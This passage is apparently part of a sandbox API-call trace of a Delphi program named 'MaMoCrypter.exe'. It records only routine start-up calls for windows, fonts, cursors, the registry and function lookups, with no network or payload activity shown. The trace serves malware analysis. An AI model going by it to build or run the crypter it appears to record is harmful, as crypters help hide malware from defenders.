lpName=0x0) returned 0x214 [0073.643] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x218 [0073.886] LoadStringW (in: hInstance=0x400000, uID=0xff2f, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid time Offset string: %s") returned 0x1e [0073.886] LoadStringW (in: hInstance=0x400000, uID=0xff2e, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid time string: %s") returned 0x17 [0073.886] LoadStringW (in: hInstance=0x400000, uID=0xff2d, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Invalid date string: %s") returned 0x17 [0073.886] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff10 | out: lpPerformanceCount=0x19ff10*=16887532870) returned 1 [0074.108] GetDC (hWnd=0x0) returned 0xf0105ee [0074.257] GetDeviceCaps (hdc=0xf0105ee, index=90) returned 96 [0074.258] ReleaseDC (hWnd=0x0, hDC=0xf0105ee) returned 1 [0074.284] GetDC (hWnd=0x0) returned 0xf0105ee [0074.440] GetDeviceCaps (hdc=0xf0105ee, index=104) returned 0 [0074.440] ReleaseDC (hWnd=0x0, hDC=0xf0105ee) returned 1 [0074.440] CreatePalette (plpal=0x19fb20) returned 0x21080641 [0074.440] GetStockObject (i=7) returned 0xb00017 [0074.440] GetStockObject (i=5) returned 0x900015 [0074.440] GetStockObject (i=13) returned 0x8a01c2 [0074.440] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0074.440] MulDiv (nNumber=8, nNumerator=96, nDenominator=72) returned 11 [0074.480] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fe00 | out: phkResult=0x19fe00*=0x21c) returned 0x0 [0074.480] RegQueryValueExW (in: hKey=0x21c, lpValueName="MS Shell Dlg 2", lpReserved=0x0, lpType=0x19fdd4, lpData=0x0, lpcbData=0x19fdec*=0x0 | out: lpType=0x19fdd4*=0x1, lpData=0x0, lpcbData=0x19fdec*=0xe) returned 0x0 [0074.499] RegQueryValueExW (in: hKey=0x21c, lpValueName="MS Shell Dlg 2", lpReserved=0x0, lpType=0x19fde8, lpData=0x258a84c, lpcbData=0x19fdf8*=0xe | out: lpType=0x19fde8*=0x1, lpData="Tahoma", lpcbData=0x19fdf8*=0xe) returned 0x0 [0074.499] RegCloseKey (hKey=0x21c) returned 0x0 [0074.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tahoma", cchWideChar=6, lpMultiByteStr=0x19fe2d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tahoma\x02pcÀt\x04", lpUsedDefaultChar=0x0) returned 6 [0074.846] GetCurrentThreadId () returned 0x112c [0074.846] GetCurrentThreadId () returned 0x112c [0074.846] GetCurrentThreadId () returned 0x112c [0074.846] GetCurrentThreadId () returned 0x112c [0074.846] GetCurrentThreadId () returned 0x112c [0074.881] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.910] GetCurrentThreadId () returned 0x112c [0074.938] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InitializeConditionVariable", cchWideChar=27, lpMultiByteStr=0x25af57c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InitializeConditionVariable", lpUsedDefaultChar=0x0) returned 27 [0074.939] GetProcAddress (hModule=0x772d0000, lpProcName="InitializeConditionVariable") returned 0x779d3a00 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeConditionVariable", cchWideChar=21, lpMultiByteStr=0x25a826c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeConditionVariable", lpUsedDefaultChar=0x0) returned 21 [0074.939] GetProcAddress (hModule=0x772d0000, lpProcName="WakeConditionVariable") returned 0x77a48c50 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0074.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WakeAllConditionVariable", cchWideChar=24, lpMultiByteStr=0x25af57c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WakeAllConditionVariable", lpUsedDefaultChar=0x0) returned 24 [0074.939] GetProcAddress (hModule=0x772d0000, lpProcName="WakeAllConditionVariable") returned 0x779d8a90 [0074.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0074.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SleepConditionVariableCS", cchWideChar=24, lpMultiByteStr=0x25af57c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SleepConditionVariableCS", lpUsedDefaultChar=0x0) returned 24 [0074.940] GetProcAddress (hModule=0x772d0000, lpProcName="SleepConditionVariableCS") returned 0x74d2fca0 [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.967] GetCurrentThreadId () returned 0x112c [0074.997] GetModuleHandleW (lpModuleName="ole32.dll") returned 0x753c0000 [0074.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoCreateInstanceEx", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0074.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoCreateInstanceEx", cchWideChar=18, lpMultiByteStr=0x25a8294, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoCreateInstanceEx", lpUsedDefaultChar=0x0) returned 18 [0074.998] GetProcAddress (hModule=0x753c0000, lpProcName="CoCreateInstanceEx") returned 0x74a52d10 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoInitializeEx", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoInitializeEx", cchWideChar=14, lpMultiByteStr=0x258a8ac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoInitializeEx", lpUsedDefaultChar=0x0) returned 14 [0074.998] GetProcAddress (hModule=0x753c0000, lpProcName="CoInitializeEx") returned 0x74a22590 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoAddRefServerProcess", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoAddRefServerProcess", cchWideChar=21, lpMultiByteStr=0x25a8294, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoAddRefServerProcess", lpUsedDefaultChar=0x0) returned 21 [0074.998] GetProcAddress (hModule=0x753c0000, lpProcName="CoAddRefServerProcess") returned 0x74a4b8b0 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoReleaseServerProcess", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0074.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoReleaseServerProcess", cchWideChar=22, lpMultiByteStr=0x25a8294, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoReleaseServerProcess", lpUsedDefaultChar=0x0) returned 22 [0074.999] GetProcAddress (hModule=0x753c0000, lpProcName="CoReleaseServerProcess") returned 0x74a4b350 [0074.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoResumeClassObjects", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoResumeClassObjects", cchWideChar=20, lpMultiByteStr=0x25a8294, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoResumeClassObjects", lpUsedDefaultChar=0x0) returned 20 [0074.999] GetProcAddress (hModule=0x753c0000, lpProcName="CoResumeClassObjects") returned 0x74a45c80 [0074.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoSuspendClassObjects", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CoSuspendClassObjects", cchWideChar=21, lpMultiByteStr=0x25a8294, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CoSuspendClassObjects", lpUsedDefaultChar=0x0) returned 21 [0074.999] GetProcAddress (hModule=0x753c0000, lpProcName="CoSuspendClassObjects") returned 0x749ac190 [0075.056] SetErrorMode (uMode=0x8000) returned 0x0 [0075.269] LoadLibraryW (lpLibFileName="Msctf.dll") returned 0x74f70000 [0076.412] SetErrorMode (uMode=0x0) returned 0x8000 [0076.412] GetVersionExW (in: lpVersionInformation=0x19fe24*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x1, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x779c041d, szCSDVersion="Ä") | out: lpVersionInformation=0x19fe24*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0076.412] GetVersion () returned 0x3ad7000a [0076.434] GetCurrentProcessId () returned 0x110c [0076.564] GlobalAddAtomW (lpString="Delphi0000110C") returned 0xc0dc [0076.752] GetCurrentThreadId () returned 0x112c [0076.752] GlobalAddAtomW (lpString="ControlOfs004000000000112C") returned 0xc0db [0076.752] RegisterClipboardFormatW (lpszFormat="DelphiRM_GetObjectInstance") returned 0xc197 [0076.752] SetErrorMode (uMode=0x8000) returned 0x0 [0076.753] LoadLibraryW (lpLibFileName="imm32.dll") returned 0x754c0000 [0076.754] SetErrorMode (uMode=0x0) returned 0x8000 [0076.754] GetSystemMetrics (nIndex=19) returned 1 [0078.044] GetSystemMetrics (nIndex=75) returned 1 [0078.044] SystemParametersInfoW (in: uiAction=0x68, uiParam=0x0, pvParam=0x25c4fa0, fWinIni=0x0 | out: pvParam=0x25c4fa0) returned 1 [0078.071] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0078.291] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0078.328] LoadCursorW (hInstance=0x0, lpCursorName=0x7f89) returned 0x1001f [0078.328] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b [0078.328] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019 [0078.328] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017 [0078.329] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0x802b3 [0078.333] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x19009f [0078.334] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x80129 [0078.334] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x2602a5 [0078.335] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x1c02a7 [0078.336] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x70127 [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011 [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013 [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015 [0078.337] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0078.338] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0078.338] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0078.338] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0078.338] GetDC (hWnd=0x0) returned 0xf0105ee [0078.338] GetDeviceCaps (hdc=0xf0105ee, index=90) returned 96 [0078.338] ReleaseDC (hWnd=0x0, hDC=0xf0105ee) returned 1 [0078.354] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x5eb4d4, dwData=0x2593a20) returned 1 [0078.744] GetCurrentThread () returned 0xfffffffe [0078.744] GetCurrentThreadId () returned 0x112c [0078.764] GetCurrentThreadId () returned 0x112c [0078.764] GetCurrentThreadId () returned 0x112c [0078.764] GetCurrentThreadId () returned 0x112c [0078.764] SystemParametersInfoW (in: uiAction=0x1f, uiParam=0x5c, pvParam=0x19fe64, fWinIni=0x0 | out: pvParam=0x19fe64) returned 1 [0079.189] CreateFontIndirectW (lplf=0x19fe64) returned 0x980a07b7 [0079.189] GetObjectW (in: h=0x980a07b7, c=92, pv=0x19fb5c | out: pv=0x19fb5c) returned 92 [0079.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Segoe UI", cchWideChar=8, lpMultiByteStr=0x19fa5d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Segoe UI.Bw=\x97Yw\x98ú\x19", lpUsedDefaultChar=0x0) returned 8 [0079.189] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x0, pvParam=0x19fc6c, fWinIni=0x0 | out: pvParam=0x19fc6c) returned 1 [0079.203] CreateFontIndirectW (lplf=0x19fda8) returned 0x150a01a9 [0079.203] GetObjectW (in: h=0x150a01a9, c=92, pv=0x19fb5c | out: pv=0x19fb5c) returned 92 [0079.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Segoe UI", cchWideChar=8, lpMultiByteStr=0x19fa5d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Segoe UI.Bw=\x97Yw\x98ú\x19", lpUsedDefaultChar=0x0) returned 8 [0079.203] CreateFontIndirectW (lplf=0x19fd4c) returned 0x3e0a0648 [0079.203] GetObjectW (in: h=0x3e0a0648, c=92, pv=0x19fb5c | out: pv=0x19fb5c) returned 92 [0079.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Segoe UI", cchWideChar=8, lpMultiByteStr=0x19fa5d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Segoe UI.Bw=\x97Yw\x98ú\x19", lpUsedDefaultChar=0x0) returned 8 [0079.203] CreateFontIndirectW (lplf=0x19fe04) returned 0x410a052c [0079.203] GetObjectW (in: h=0x410a052c, c=92, pv=0x19fb5c | out: pv=0x19fb5c) returned 92 [0079.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Segoe UI", cchWideChar=8, lpMultiByteStr=0x19fa5d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Segoe UI.Bw=\x97Yw\x98ú\x19", lpUsedDefaultChar=0x0) returned 8 [0079.203] CreateFontIndirectW (lplf=0x19fc84) returned 0xe0a0197 [0079.204] GetObjectW (in: h=0xe0a0197, c=92, pv=0x19fb5c | out: pv=0x19fb5c) returned 92 [0079.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Segoe UI", cchWideChar=8, lpMultiByteStr=0x19fa5d, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Segoe UI.Bw=\x97Yw\x98ú\x19", lpUsedDefaultChar=0x0) returned 8 [0079.473] OleInitialize (pvReserved=0x0) returned 0x0 [0079.789] LoadIconW (hInstance=0x400000, lpIconName="MAINICON") returned 0x8029f [0080.066] GetIconInfo (in: hIcon=0x8029f, piconinfo=0x19fcb0 | out: piconinfo=0x19fcb0) returned 1 [0080.346] GetObjectW (in: h=0x3c0501a1, c=24, pv=0x19fc98 | out: pv=0x19fc98) returned 24 [0080.346] DeleteObject (ho=0x1f050511) returned 1 [0080.346] DeleteObject (ho=0x3c0501a1) returned 1 [0080.346] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19fcea, nSize=0x100 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\MaMoCrypter.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mamocrypter.exe")) returned 0x27 [0080.452] GetClassInfoW (in: hInstance=0x400000, lpClassName="TPUtilWindow", lpWndClass=0x19fc88 | out: lpWndClass=0x19fc88) returned 0 [0080.663] RegisterClassW (lpWndClass=0x625908) returned 0xc198 [0080.664] CreateWindowExW (dwExStyle=0x80, lpClassName="TPUtilWindow", lpWindowName="", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x302c2 [0080.675] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x820000 [0080.676] SetWindowLongW (hWnd=0x302c2, nIndex=-4, dwNewLong=8523759) returned 4280924 [0080.676] GetClassInfoW (in: hInstance=0x400000, lpClassName="TApplication", lpWndClass=0x19fca0 | out: lpWndClass=0x19fca0) returned 0 [0080.676] RegisterClassW (lpWndClass=0x627a84) returned 0xc19b [0080.676] GetSystemMetrics (nIndex=0) returned 1440 [0080.676] GetSystemMetrics (nIndex=1) returned 900 [0080.676] CreateWindowExW (dwExStyle=0x80, lpClassName="TApplication", lpWindowName="Mamocrypter", dwStyle=0x84ca0000, X=720, Y=450, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x202c4 [0081.452] LoadLibraryA (lpLibFileName="wtsapi32.dll") returned 0x73ff0000 [0081.728] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa129e0 [0081.729] GetProcAddress (hModule=0x73ff0000, lpProcName="WTSRegisterSessionNotification") returned 0x73ff28c0 [0081.729] WTSRegisterSessionNotification (hWnd=0x202c4, dwFlags=0x0) returned 1 [0083.820] LoadLibraryA (lpLibFileName="uxtheme.dll") returned 0x74310000 [0083.820] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0xa21270 [0083.820] GetProcAddress (hModule=0x74310000, lpProcName="BufferedPaintInit") returned 0x743404c0 [0083.820] BufferedPaintInit () returned 0x0 [0083.821] SetWindowLongW (hWnd=0x202c4, nIndex=-4, dwNewLong=8523746) returned 4280924 [0083.836] SendMessageW (hWnd=0x202c4, Msg=0x80, wParam=0x1, lParam=0x8029f) returned 0x0 [0083.837] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x80, wParam=0x1, lParam=0x8029f) returned 0x0 [0084.098] SetClassLongW (hWnd=0x202c4, nIndex=-14, dwNewLong=524959) returned 0x0 [0084.100] GetSystemMenu (hWnd=0x202c4, bRevert=0) returned 0x800df [0084.126] DeleteMenu (hMenu=0x800df, uPosition=0xf030, uFlags=0x0) returned 1 [0084.126] DeleteMenu (hMenu=0x800df, uPosition=0xf000, uFlags=0x0) returned 1 [0084.126] DeleteMenu (hMenu=0x800df, uPosition=0xf010, uFlags=0x0) returned 1 [0085.223] GetCurrentThreadId () returned 0x112c [0085.223] GetCurrentThreadId () returned 0x112c [0085.223] GetCurrentThreadId () returned 0x112c [0085.548] GetModuleHandleW (lpModuleName="USER32") returned 0x750c0000 [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] GetCurrentThreadId () returned 0x112c [0085.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AnimateWindow", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0085.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AnimateWindow", cchWideChar=13, lpMultiByteStr=0x258a9cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AnimateWindow", lpUsedDefaultChar=0x0) returned 13 [0085.627] GetProcAddress (hModule=0x750c0000, lpProcName="AnimateWindow") returned 0x750d7000 [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.627] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.644] GetCurrentThreadId () returned 0x112c [0085.998] RegisterClipboardFormatW (lpszFormat="Delphi Picture") returned 0xc19c [0086.251] RegisterClipboardFormatW (lpszFormat="Delphi Component") returned 0xc19d [0086.308] RegisterClipboardFormatW (lpszFormat="commdlg_help") returned 0xc19e [0086.570] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc19f [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GlobalAddAtomW (lpString="WndProcPtr004000000000112C") returned 0xc0e6 [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.571] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] GetCurrentThreadId () returned 0x112c [0086.649] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08a [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec6, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Alt+") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec5, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Ctrl+") returned 0x5 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec4, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Shift+") returned 0x6 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec3, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Del") returned 0x3 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec2, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Ins") returned 0x3 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec1, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Down") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfec0, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Right") returned 0x5 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfedf, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Up") returned 0x2 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfede, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Left") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfedd, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Home") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfedc, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="End") returned 0x3 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfedb, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="PgDn") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfeda, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="PgUp") returned 0x4 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfed9, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Space") returned 0x5 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfed8, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Enter") returned 0x5 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfed7, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Esc") returned 0x3 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfed6, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="Tab") returned 0x3 [0087.406] LoadStringW (in: hInstance=0x400000, uID=0xfed5, lpBuffer=0x19df14, cchBufferMax=4096 | out: lpBuffer="BkSp") returned 0x4 [0087.406] GetCurrentThreadId () returned 0x112c [0087.406] GetCurrentThreadId () returned 0x112c [0087.406] GetCurrentThreadId () returned 0x112c [0087.406] GetCurrentThreadId () returned 0x112c [0087.406] GetCurrentThreadId () returned 0x112c [0087.406] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 0x112c [0087.407] GetCurrentThreadId () returned 